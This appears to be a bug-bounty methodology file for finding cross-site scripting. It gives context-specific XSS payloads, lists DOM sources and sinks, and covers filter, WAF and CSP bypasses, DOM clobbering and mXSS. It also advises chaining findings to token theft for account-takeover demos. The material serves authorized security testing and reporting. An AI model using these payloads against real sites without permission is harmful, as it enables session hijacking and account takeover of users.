| name | hunt-xss |
| description | XSS hunting methodology — reflected, stored, and DOM — with context-aware payloads. Use when testing any input that could reach a browser. |
Hunting XSS
Three flavors
- Reflected: payload in request → echoed in response
- Stored: payload saved → rendered later to you or other users
- DOM: no server involvement —
location.hash, postMessage, JSON, client-side router flowing into a sink
Context matters more than payloads
Identify the output context first, then craft the break-out:
| Context | Break-out | Payload |
|---|
| HTML body | none | <svg onload=alert(1)> |
| HTML attribute (quoted) | close quote | " autofocus onfocus=alert(1) x=" |
| HTML attribute (unquoted) | space | onmouseover=alert(1) |
href="javascript:" | scheme | javascript:alert(1) |
<script>var x="..."</script> | close string | ";alert(1)// |
<script>var x=...</script> (JSON) | break out | </script><svg onload=alert(1)> |
| CSS | expression, url() | background:url(javascript:alert(1)) |
| URL in CSS | | /* */alert(1)/* */ |
DOM XSS sources and sinks
Sources: location.hash, location.search, document.referrer, window.name, postMessage, localStorage, URL hash-router state
Sinks: innerHTML, outerHTML, document.write, eval, setTimeout(str), Function(), jQuery.html(), element.src = (for javascript:), Vue v-html, React dangerouslySetInnerHTML, Angular [innerHTML]
Filter bypasses
- Case:
<sCrIpT>
- Tag-less:
<svg onload>, <img src=x onerror>, <body onload>
- Event handler without tag:
<a href=x onmouseover=alert(1)>hi</a>
- Keyword filters:
alert\x28\x31\x29, confirm, eval(atob('...'))
- No parentheses:
onerror=alert;throw 1
- CSP bypass: look for
script-src including a CDN with JSONP or angular template
- WAF: chunked encoding, double URL encoding, HTML entity encoding, unicode
DOM Clobbering
Legacy attribute lookups on document / window by id / name can be clobbered with <a id=config> to poison config objects used by later scripts.
Mutation XSS (mXSS)
DOMPurify < 2.0.17, innerHTML re-parsing — look for sanitize-then-innerHTML patterns where the browser re-parses differently than the sanitizer.
Impact upgrades (for report severity)
Reflected XSS alone is usually Medium. Upgrade by chaining:
- Stored → targets everyone = High
- Works against admin panel = High/Critical
- No user interaction + affects authenticated page = High
- Chained with CSRF token theft or
fetch('/api/me') exfil = show full ATO demo
Reporting
Include: source, sink, exact payload, browser/version tested, a screen recording if stored, and a proof of session/token theft if you can do so against yourself safely.